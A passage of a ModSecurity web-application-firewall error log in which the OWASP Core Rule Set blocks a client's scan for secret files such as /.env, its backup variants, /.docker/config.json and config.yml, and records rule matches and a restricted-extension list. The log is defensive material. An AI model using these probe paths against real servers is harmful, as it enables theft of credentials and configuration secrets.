&quot;/.docker/config.json&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UQAAAAg&quot;]
[Sun Nov 30 18:08:49.409765 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UQAAAAg&quot;]
[Sun Nov 30 18:08:49.409973 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UQAAAAg&quot;]
[Sun Nov 30 18:08:49.640098 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UgAAAAg&quot;]
[Sun Nov 30 18:08:49.640330 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UgAAAAg&quot;]
[Sun Nov 30 18:08:49.640573 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UgAAAAg&quot;]
[Sun Nov 30 18:08:49.871827 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UwAAAAg&quot;]
[Sun Nov 30 18:08:49.872089 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UwAAAAg&quot;]
[Sun Nov 30 18:08:49.872409 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UwAAAAg&quot;]
[Sun Nov 30 18:08:50.332349 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VQAAAAg&quot;]
[Sun Nov 30 18:08:50.332570 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VQAAAAg&quot;]
[Sun Nov 30 18:08:50.332784 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VQAAAAg&quot;]
[Sun Nov 30 18:08:50.562452 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VgAAAAg&quot;]
[Sun Nov 30 18:08:50.562621 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VgAAAAg&quot;]
[Sun Nov 30 18:08:50.562833 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VgAAAAg&quot;]
[Sun Nov 30 18:08:50.563048 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VgAAAAg&quot;]
[Sun Nov 30 18:08:50.792560 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VwAAAAg&quot;]
[Sun Nov 30 18:08:50.792729 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VwAAAAg&quot;]
[Sun Nov 30 18:08:50.792937 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VwAAAAg&quot;]
[Sun Nov 30 18:08:50.793134 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aSx6Il1RgwzjQxTFQvL9VwAAAAg&quot;]
[Sun Nov 30 18:08:52.406800 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSx6JF1RgwzjQxTFQvL9XgAAAAg&quot;]
[Sun Nov 30 18:08:52.407030 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSx6JF1RgwzjQxTFQvL9XgAAAAg&quot;]
[Sun Nov 30 18:08:52.407264 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSx6JF1RgwzjQxTFQvL9XgAAAAg&quot;]
[Sun Nov 30 18:08:53.392985 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5sQAAAAw&quot;]
[Sun Nov 30 18:08:53.393214 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5sQAAAAw&quot;]
[Sun Nov 30 18:08:53.393417 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5sQAAAAw&quot;]
[Sun Nov 30 18:08:53.616796 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5sgAAAAw&quot;]
[Sun Nov 30 18:08:53.617029 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5sgAAAAw&quot;]
[Sun Nov 30 18:08:53.617222 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5sgAAAAw&quot;]
[Sun Nov 30 18:08:53.840728 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5swAAAAw&quot;]
[Sun Nov 30 18:08:53.840944 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5swAAAAw&quot;]
[Sun Nov 30 18:08:53.841131 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSx6JS6tRBnriPIR7Vg5swAAAAw&quot;]
[Sun Nov 30 18:08:54.064927 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag 